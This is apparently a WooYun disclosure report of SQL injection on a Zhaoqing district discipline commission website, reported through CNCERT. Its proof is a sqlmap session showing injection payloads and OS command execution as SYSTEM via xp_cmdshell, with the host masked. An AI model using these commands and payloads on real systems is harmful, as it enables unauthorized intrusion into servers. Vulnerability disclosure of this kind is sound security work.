当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143612

漏洞标题:肇庆市端州区纪委网站sql注射

相关厂商:肇庆市端州区纪委

漏洞作者: 路人甲

提交时间:2015-10-01 10:16

修复时间:2015-11-24 16:58

公开时间:2015-11-24 16:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-10: 厂商已经确认,细节仅向厂商公开
2015-10-20: 细节向核心白帽子及相关领域专家公开
2015-10-30: 细节向普通白帽子公开
2015-11-09: 细节向实习白帽子公开
2015-11-24: 细节向公众公开

简要描述:

某政府网站sql注射

详细说明:

SA权限
注入点:http://**.**.**.**/page.aspx?id=1

漏洞证明:

注入点:http://**.**.**.**/page.aspx?id=1

C:\Python27\sqlmap>sqlmap.py -u "http://**.**.**.**/page.aspx?id=1" --os-cmd
=whoami
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:37:00
[17:37:00] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:37:00] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2423=2423
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
---
[17:37:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[17:37:00] [INFO] testing if current user is DBA
[17:37:00] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[17:37:12] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[17:37:12] [INFO] testing if xp_cmdshell extended procedure is usable
[17:37:13] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:37:33] [INFO] xp_cmdshell extended procedure is usable
do you want to retrieve the command standard output? [Y/n/a]
[17:38:15] [INFO] retrieved: 4
[17:38:16] [INFO] retrieved: nt authority\s
[17:38:52] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
ystem
[17:39:05] [INFO] retrieved:
[17:39:08] [INFO] retrieved: nt authority\system
[17:39:44] [INFO] retrieved:
command standard output:
---
nt authority\system
nt authority\system
---
[17:39:46] [INFO] cleaning up the database management system
[17:39:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 5 times
[17:39:47] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\**.**.**.**'
[*] shutting down at 17:39:47


没拿shell,花点时间可以拿下

QQ图片20150926174146.png

修复方案:

你懂的

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-10 16:57

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无